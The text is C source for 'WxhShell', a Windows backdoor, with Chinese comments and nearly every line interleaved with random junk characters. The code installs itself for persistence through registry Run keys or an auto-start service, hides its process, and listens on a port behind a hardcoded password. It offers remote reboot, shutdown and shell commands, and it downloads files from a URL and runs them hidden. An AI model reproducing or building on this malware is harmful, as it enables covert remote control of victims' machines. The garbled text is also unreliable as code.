:4[~A static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1APe=tJ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aB2FC$z b4%??"&<Y HANDLE hProcess; 2. NN8PPD" PROCESS_BASIC_INFORMATION pbi; DZ3wCLQtK V# }!-Xj HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }1L4"}L. if(NULL == hInst ) return 0; )Yh+c=6
? *k7+/bU~~ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MIeU,KT#U g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a_^\=&?' NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /Vx7mF: HYD'.uj if (!NtQueryInformationProcess) return 0; :".ARCg ]`!>6/[ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,a{P4Bq if(!hProcess) return 0; ;IvY^(YS@; 8rAg\H3E if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,\W 8b-Z G/y5H;<9M CloseHandle(hProcess); ]!W=^! A_"w^E{P hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &)#
ihK_ if(hProcess==NULL) return 0; niMsQ /e5O"@ HMODULE hMod; :[.vM char procName[255]; IEL%!RFG unsigned long cbNeeded; 6fE7W>la [t m_Mg if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bi',j0B :;%2BSgFU CloseHandle(hProcess); KC*e/J y;m| if(strstr(procName,"services")) return 1; // 以服务启动
i<C*j4qQ UP$.+<vm return 0; // 注册表启动 w8")w*9Lmg } 9d0@wq. =g7x'
kN // 主模块 ;Zcswt8]u int StartWxhshell(LPSTR lpCmdLine) gs^Xf;gvI { *?@?f&E/ SOCKET wsl; ]\-A;}\e BOOL val=TRUE; ch*8B(: int port=0; &@X<zWg struct sockaddr_in door; p%up)]?0 Pa>AWOG' if(wscfg.ws_autoins) Install(); \i>?q Fk&c=V;SU port=atoi(lpCmdLine); x /(^7#u, W<h)HhyG if(port<=0) port=wscfg.ws_port; k&M;,e3v6 `z}?"BW| WSADATA data; ]? c
B:} if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ye%~I`@? ydEoC$?0 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; xWH.^o," setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?.m bK door.sin_family = AF_INET; >F|>cc>_E door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6$hQ35 door.sin_port = htons(port); M5LfRBO ~gJwW+ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [Q~#82hBhY closesocket(wsl); C#.->\ return 1; ~p6 V,Q } EgEa1l!NSQ dM.f]-g if(listen(wsl,2) == INVALID_SOCKET) { ( ' (K9@} closesocket(wsl); GhAlx/K return 1; N@4w!
HpJ } B&M%I:i Wxhshell(wsl); SBu"3ym WSACleanup(); YsC>i`n9 djl*H return 0; #Qw0&kM7I .fqN|[> } c1(RuP:S .|KyNBn // 以NT服务方式启动 )N{Pw$l_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G{~J|{t\yz { (Bb5?fw DWORD status = 0; EmWn%eMN DWORD specificError = 0xfffffff; AG
nxYV"p G6Axs1a serviceStatus.dwServiceType = SERVICE_WIN32; fivw~z|[@ serviceStatus.dwCurrentState = SERVICE_START_PENDING; zy?|ODM serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5:[0z5Hww serviceStatus.dwWin32ExitCode = 0; [C 7^r3w serviceStatus.dwServiceSpecificExitCode = 0; f].h^~.q serviceStatus.dwCheckPoint = 0; PA{PD.4Du serviceStatus.dwWaitHint = 0; dw>C@c#" R{`(c/%8 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KJUH(]>F if (hServiceStatusHandle==0) return; (*9$`!wS C\3rJy(VJ status = GetLastError(); FW;?s+Uyx if (status!=NO_ERROR) ]Jg&VXrH { 4HXo >0 serviceStatus.dwCurrentState = SERVICE_STOPPED; FBX'.\@` serviceStatus.dwCheckPoint = 0; Wx%H%FeK serviceStatus.dwWaitHint = 0; kOrZv,qFG[ serviceStatus.dwWin32ExitCode = status; S/hQZHZHg, serviceStatus.dwServiceSpecificExitCode = specificError;
Ux!p8 SetServiceStatus(hServiceStatusHandle, &serviceStatus); `6(S^P return; IVnHf_PzF } ?/E~/;+7= |fJ};RLI" serviceStatus.dwCurrentState = SERVICE_RUNNING; |)DGkOtd serviceStatus.dwCheckPoint = 0; HXC ;Np serviceStatus.dwWaitHint = 0; #4NaL if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); edq4D53 } 7vKK%H_P F@jZ ho // 处理NT服务事件,比如:启动、停止 VR 8-&N VOID WINAPI NTServiceHandler(DWORD fdwControl) V*;(kEqj { V]6dscQ switch(fdwControl) ;6
D@A { ea2ayT case SERVICE_CONTROL_STOP: 9Q^r
O26+ serviceStatus.dwWin32ExitCode = 0;
K=Z|/Kkh serviceStatus.dwCurrentState = SERVICE_STOPPED; )gUR@V>e2 serviceStatus.dwCheckPoint = 0; \fLMr\LL& serviceStatus.dwWaitHint = 0; \ A#41
{ Q~]uC2Mw SetServiceStatus(hServiceStatusHandle, &serviceStatus); F`W?II? } c9
eM/*: return; T@B/xAq5! case SERVICE_CONTROL_PAUSE: U[-o> W# serviceStatus.dwCurrentState = SERVICE_PAUSED; 9MJG;+B~ break; 2%Ri,4SRb case SERVICE_CONTROL_CONTINUE: oG?Xk%7&\ serviceStatus.dwCurrentState = SERVICE_RUNNING; _Kf% \xg break; 3AtGy'NTp case SERVICE_CONTROL_INTERROGATE: q-2Bt,Y break; rl;~pO5R9 }; yjX9oxhtL SetServiceStatus(hServiceStatusHandle, &serviceStatus); K&]G3W%V } Hyl%mJ .p3,O6y2(F // 标准应用程序主函数 3BJ0S.TF int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Xza(k { (*'f+R`$ &-6Gc;f8 // 获取操作系统版本 2 c{34: OsIsNt=GetOsVer(); ORw,)l GetModuleFileName(NULL,ExeFile,MAX_PATH); S!CC
}3zw WIxy}3_to // 从命令行安装 cd_yzpL@}J if(strpbrk(lpCmdLine,"iI")) Install(); :J@gmY:C V! A~K
// 下载执行文件 `5.'_3 if(wscfg.ws_downexe) { prF%.(G2) if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =z69e%. WinExec(wscfg.ws_filenam,SW_HIDE); `p-cSxR_ } pofie$ ~rKrpb]ow if(!OsIsNt) { 0RLg:SV // 如果时win9x,隐藏进程并且设置为注册表启动 {rw|# Z>A HideProc(); &%DY \* StartWxhshell(lpCmdLine); ;bib/ } 8qTys8 else I"<\<^B< if(StartFromService()) _7L-< // 以服务方式启动 ASySiHz StartServiceCtrlDispatcher(DispatchTable); *Kgks 4 else "?xHlYj@+ // 普通方式启动 D=Gtq6jd StartWxhshell(lpCmdLine); ]neex|3lG Qn.om=KDs@ return 0; PiIpnoM } Vn}0}Jz K7:)nv
E -;m0R q,|j]+9q =========================================== l<LI7Z]A AJ`h9%B BM
.~ 5\ JIOR4' 9 $ @`V .j0$J\:i " aP+X}r Be2DN5) #include <stdio.h> [D4SW# #include <string.h> "$^ ~!1~ #include <windows.h> WlC:l #include <winsock2.h> u cW-I;" #include <winsvc.h> *fS"ym@ #include <urlmon.h> 3$>1FoSk 6Y?|w 3f
#pragma comment (lib, "Ws2_32.lib") |N 7M^ #pragma comment (lib, "urlmon.lib") N
+_t-5 xy[3u?,&s! #define MAX_USER 100 // 最大客户端连接数 | rtD.,m #define BUF_SOCK 200 // sock buffer oIzj,v8$ #define KEY_BUFF 255 // 输入 buffer yI
:KP@RZm #define REBOOT 0 // 重启 6}Ci>_i4# #define SHUTDOWN 1 // 关机 ag[wdoj H=vUYz
#define DEF_PORT 5000 // 监听端口 `0gyr(fES nT$SfGFj8 #define REG_LEN 16 // 注册表键长度 WO>nIo5Y #define SVC_LEN 80 // NT服务名长度 rcG"o\g@+ CxW>~O: // 从dll定义API c]o'xd,T8\ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {]@= ijjf typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =K[yT: typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [<yaXQxl typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P{>!5|k >jLY" // wxhshell配置信息 O-hAFKx struct WSCFG { L\ "d int ws_port; // 监听端口 >tV{Pd1 char ws_passstr[REG_LEN]; // 口令 sBg.u int ws_autoins; // 安装标记, 1=yes 0=no %pL''R9VF char ws_regname[REG_LEN]; // 注册表键名 0znR0%~ char ws_svcname[REG_LEN]; // 服务名 .g<DD)` char ws_svcdisp[SVC_LEN]; // 服务显示名 z,p~z*4 char ws_svcdesc[SVC_LEN]; // 服务描述信息 0pd'93C char ws_passmsg[SVC_LEN]; // 密码输入提示信息 16( QR- int ws_downexe; // 下载执行标记, 1=yes 0=no AH7}/Rc char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7.j?U char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *P=VFP E4/Dr}4 }; 2eY_%Y0 wJo}!{bN // default Wxhshell configuration w;amZgD> struct WSCFG wscfg={DEF_PORT, ~HsJUro "xuhuanlingzhe", N5
6g+,w%) 1, } (73Syl# "Wxhshell", 3;A)W18] "Wxhshell", SO'vpz{ "WxhShell Service", N<VJ(20y "Wrsky Windows CmdShell Service", y?? XIsF "Please Input Your Password: ", \X D6 pr@ 1, d/kv|$XW "http://www.wrsky.com/wxhshell.exe", ndMA-`Ny, "Wxhshell.exe"
dkTX }; &n:.k}/P QlU8uI[dk // 消息定义模块 C33J5'(CA char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uHzU-FZ|B char *msg_ws_prompt="\n\r? for help\n\r#>"; GGs}i1m char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fr6fj char *msg_ws_ext="\n\rExit."; h3
}OX{k char *msg_ws_end="\n\rQuit."; ?%[@Qb=2 char *msg_ws_boot="\n\rReboot..."; '7@zGk##( char *msg_ws_poff="\n\rShutdown..."; Lnl=.z`jK char *msg_ws_down="\n\rSave to "; Iit;F Eo]xNn/g char *msg_ws_err="\n\rErr!"; 2pa5U;u:+ char *msg_ws_ok="\n\rOK!"; 4>e&f&y~ c<Tf
2]vZE char ExeFile[MAX_PATH]; +',S]Edx int nUser = 0; y766;
X:J HANDLE handles[MAX_USER]; =GMkR+<) int OsIsNt; .}~_a76 v`Oc, SERVICE_STATUS serviceStatus; je=a/Y=%U{ SERVICE_STATUS_HANDLE hServiceStatusHandle; 'I6i,+D/q z<XtS[ki // 函数声明 ,w4V?>l int Install(void); aj{Y\
3L int Uninstall(void); -gX1-,dE int DownloadFile(char *sURL, SOCKET wsh); $B5aje}i int Boot(int flag); tFOhL9T void HideProc(void); g(CI;f}y int GetOsVer(void); Txb#C[` int Wxhshell(SOCKET wsl); |t#)~Oo void TalkWithClient(void *cs); I:1C8*/ int CmdShell(SOCKET sock); [/41%B2 int StartFromService(void); /"Uqa,{ int StartWxhshell(LPSTR lpCmdLine); R8Fv{7]c =MDysb&: VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ],Do6
@M- VOID WINAPI NTServiceHandler( DWORD fdwControl ); P{lB50 oQ[f,7u // 数据结构和表定义 ;+hH SERVICE_TABLE_ENTRY DispatchTable[] = v;D~Pa { YO}<Ytx {wscfg.ws_svcname, NTServiceMain}, /!XVHkX[ {NULL, NULL} s
R/F" }; ')<hON44EX
_
*Pf // 自我安装 +Q"4Migbe@ int Install(void) VQOezQs\ { *#+An<iT ; char svExeFile[MAX_PATH]; z[qDkL HKEY key; 3{sVVq5Y strcpy(svExeFile,ExeFile); $Ri; ^pZw[ _ZSR.w}j/ // 如果是win9x系统,修改注册表设为自启动 wgGl[_) if(!OsIsNt) { Y\g3hM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pG;U2wE RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3"~!nn0; RegCloseKey(key); 07{)?1cod4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t&e{_|i#+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }a(dyr`S RegCloseKey(key); <bEbweQrgm return 0; m
GYoM } k!'a,R: } ,/|T-Ka } m#\dSl} else { {V
CWn95Z )irEM // 如果是NT以上系统,安装为系统服务 'YSHi\z ]( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z9Rp`z&`E if (schSCManager!=0) 3eQ&F~S { `*1p0~cu
SC_HANDLE schService = CreateService p>8D;#HmL ( 0{-q#/ schSCManager, NyNXP_8 wscfg.ws_svcname, ' %o#q6O wscfg.ws_svcdisp, WX3-\Y5E SERVICE_ALL_ACCESS, "87:?v[[1 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WOL:IZX% SERVICE_AUTO_START, sdw(R#GE SERVICE_ERROR_NORMAL, =]0&i]z[. svExeFile, v0.#Sl- NULL, BR;D@R``} NULL, )bscBj@ NULL, 3AN/
H NULL, XUuN )i NULL |Ds1 ); -m~#Bq if (schService!=0) PALc;"]O { :,6\"y- CloseServiceHandle(schService); aO4?m+ CloseServiceHandle(schSCManager); {;6`_-As% strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &6nWzF strcat(svExeFile,wscfg.ws_svcname); ~oY^;/ j if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \z(gqkc 6 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?^\|-Gr RegCloseKey(key); Z"fJ`-- return 0; VRB;$ } ji0@P'^; } z!9-: CloseServiceHandle(schSCManager); >e$PP8&i_T } t;\Y{` } XU(eEnmom 4@ai6,< return 1; {9q4)R}G } Oxd]y1 2g! +<YZ~ // 自我卸载 j|#Bo:2km int Uninstall(void) A6(/;+n { ,Ko!$29[ HKEY key; H"WprHe +ksVtG, if(!OsIsNt) { $yNS
pNmT0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tK\~A,= RegDeleteValue(key,wscfg.ws_regname); E hMNap}5" RegCloseKey(key); '/s)%bc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Jdj4\ju RegDeleteValue(key,wscfg.ws_regname); [Z$[rOF RegCloseKey(key); #S"nF@ return 0; o&$A]ph8X } ?.BC#S)q1 } p0vVkdd } ?gGHj-HYJ else { :"/d|i`T G" "ZI$` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f%}xO+.s if (schSCManager!=0) s?nR 4 { (<C3Vts)) SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U # qK. if (schService!=0) pZy~1L { @~a%/GQ#n* if(DeleteService(schService)!=0) { brUF6rQ CloseServiceHandle(schService); 1iF1GkLEq CloseServiceHandle(schSCManager); pYf-S?Y/V return 0; KPUV@eQ, } {bY%# m CloseServiceHandle(schService); h@ryy\9 } EXqE~afm2 CloseServiceHandle(schSCManager); $(x] } l+^*LqEW2 } |&i<bqLw: {"KMs[M return 1; `<d }V2rdz } R (n2A$ &Au@S$ij // 从指定url下载文件 }k.Z~1y int DownloadFile(char *sURL, SOCKET wsh) ncT&Gr { '6%2.[o HRESULT hr; `e}B2;$A3 char seps[]= "/"; K]w'&Qm8W char *token; "3Y0`&:D char *file; ey$&;1x#5 char myURL[MAX_PATH]; ab?aQ*$+ char myFILE[MAX_PATH]; LZxNAua 4BpZJ~(p strcpy(myURL,sURL); 7HYwLG:\~ token=strtok(myURL,seps); @f3E`8 while(token!=NULL) +v:SM9 { AH~E )S file=token; R.<g3"Lm> token=strtok(NULL,seps); {E|$8)58i } (TT}6j \ @2R9,9E GetCurrentDirectory(MAX_PATH,myFILE); +ami?#Sz*; strcat(myFILE, "\\"); DZtsy!xA strcat(myFILE, file); [ub e6 send(wsh,myFILE,strlen(myFILE),0); KF:78C send(wsh,"...",3,0); 67FWa hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7WzxA=*# if(hr==S_OK) )zDCu` return 0; 4;2uW#dG" else o-B$J? return 1; X|]AT9W >Cq<@$I2EB } mj7#&r,1l G$('-3@i`w // 系统电源模块 PXNuL& int Boot(int flag) ?(_08O { gL/9/b4 HANDLE hToken; `C'H.g\>2Q TOKEN_PRIVILEGES tkp; E}Uc7G *MW\^PR? if(OsIsNt) { >uEzw4w OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); IO<6 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ="l/ klYV tkp.PrivilegeCount = 1; b^vQpiz tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )Hr`MB AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); YKK*ER0 if(flag==REBOOT) { ~WF\ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7D_= return 0; +G>\-tjSD } uHRsFlw else { !&@615Vtw if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WcbiqxK7- return 0; - " 9 } ;*2Cm'8E } }4X0epPp;: else { ]7c=PC if(flag==REBOOT) { R`-S/C if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) MVUJD{X# return 0; <b*DQ:N } A?OQE9' else { &_8947 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T6$+hUM$1 return 0; <(#ej4ar, } a(ZcmYzXU } |CbikE}kL @oGcuE return 1; 0#gK6o! } :7;@ZEe H3oFORh // win9x进程隐藏模块 "_?nN"A7 void HideProc(void) pEz_qy[# { w_V P
J 0JujesUw( HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Zx>=tx} if ( hKernel != NULL ) ;8 lfOMf { vW@=<aS Z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y8t8!{ytg ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?:9"X$XR FreeLibrary(hKernel); 8zq=N#x } sNFlKQ8)Q $<[79al# return; 4s
oJ.j8 } *lJxH8 \ J]r^W)O // 获取操作系统版本 ?+8\.a! int GetOsVer(void) uCB=u[]y4 { ;722\y(Y OSVERSIONINFO winfo; ;-Aa|aT! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +1!ia] GetVersionEx(&winfo); >y+B if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f*
wx< return 1; fI|$K)K else p5*jzQ return 0; 4?01s-Y } L-&\\{X _,*r_D61S // 客户端句柄模块 KqP#6^ _ int Wxhshell(SOCKET wsl) `XDl_E+>l { RT8 ?7xFc SOCKET wsh; G^@5H/) struct sockaddr_in client; M )(DZ} DWORD myID; 7a}k bvOq5Q6 while(nUser<MAX_USER) +
>!;i6| { b\,+f n int nSize=sizeof(client); y8xE
6i wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wb ;xRP"w if(wsh==INVALID_SOCKET) return 1; qmP].sA ]eV8b*d6 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K:WDl;8(d if(handles[nUser]==0) 'Z]w^< closesocket(wsh); g0E'g else X5w$4Kj&4l nUser++; :rP=t , } asqV~n WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9A#i_#[R iN.n8MN=I return 0; $<OD31T } y>ktcuML eszG0Wu // 关闭 socket ~F#j#n(=`q void CloseIt(SOCKET wsh) ^=*;X;7 { ]I6 J7A[ closesocket(wsh); &xExyz~` nUser--; A":T1s ExitThread(0); @PIp*[7oC } 8xMX vw@S>GlGg // 客户端请求句柄 Ni7nq8B< void TalkWithClient(void *cs) -I%5$`z { #p{4^ c[s4EUG SOCKET wsh=(SOCKET)cs; (w zQ2Dk char pwd[SVC_LEN]; ?r!o~|9| char cmd[KEY_BUFF]; [<TrS/,)> char chr[1]; U%/+B]6jP int i,j; -ze J#B)C R^e'}+Z while (nUser < MAX_USER) { K.yb
^dg5 ` Xqy if(wscfg.ws_passstr) { J3\)Jy if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GI4oQcJ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hgj0tIi/ //ZeroMemory(pwd,KEY_BUFF); T{~M iC6A i=0; <`mOU}0) while(i<SVC_LEN) { R1 qMg+ AJWLEc4XK // 设置超时 Vw?P.4 fd_set FdRead; Ty}R^cy{d struct timeval TimeOut; bBFwx @
FD_ZERO(&FdRead); ;8EjjF [> FD_SET(wsh,&FdRead); )]]|d TimeOut.tv_sec=8; U$EM.ot TimeOut.tv_usec=0; <tQXK; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 83xd@-czgh if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); TA9dkYlE/ YUS?]~XC7x if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 165WO}(;/ pwd=chr[0]; 2HVCXegq if(chr[0]==0xd || chr[0]==0xa) { D`fc7m pwd=0; Wbs^(iUU} break; 9!S^^;PN& } Deog4Ol"/ i++; d5q4'6o, } ;;6\q!7` I tgH>L' // 如果是非法用户,关闭 socket :b,o B==% if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;y,NC2Xj } i/M+t~ |N6mTB2 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Qq>ElQ@ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aKD;1|) TuhL: while(1) { C{Xk/Er5< $/sZYsN~T ZeroMemory(cmd,KEY_BUFF); /[|md0, '%/u103{e // 自动支持客户端 telnet标准 */m~m? j=0; pHbguoH, while(j<KEY_BUFF) { 3lEU$)QA3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x)Om[jZE cmd[j]=chr[0]; 5~TA(cb5 if(chr[0]==0xa || chr[0]==0xd) { tfU3 6PR cmd[j]=0; /3HWP`<x break; +c2=*IA/ } Woy[V j++; ##\ZuJ^- } +_K;Pj]x dg@/HLZ // 下载文件 :a<TV9?H0 if(strstr(cmd,"http://")) { %>}7$Y% send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z["nY&.sI if(DownloadFile(cmd,wsh)) #~qp8
w send(wsh,msg_ws_err,strlen(msg_ws_err),0); U@ QU8 else 4BL,/(W]
x send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K%#C+`Ij }
F nRxc else { _ r)hr7 ,,-3p#Pbw switch(cmd[0]) { p{QKj3ov u>Kvub // 帮助 ?ew]i'9( case '?': { L&k$4,Z9 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %Q4w9d break; w%u[~T7OI } PqeQe5 // 安装 2PW3S{D t case 'i': { .aRxqFi_ if(Install()) 1;9E*= send(wsh,msg_ws_err,strlen(msg_ws_err),0); uy%PTi+A else -5B([jHgR send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 43]&SXprH break; oU6g5 } ~Q\uP(!D // 卸载 { J%$.D(/ case 'r': { DcM+K@1E4^ if(Uninstall()) `SbX`a0p2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); T$B4DQ else 87*[o send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `Wt~6D
e break; Z
' 96d } Q%h
o[KU // 显示 wxhshell 所在路径 /{}
]Hu case 'p': { I!#^F1p1 char svExeFile[MAX_PATH]; 6E& |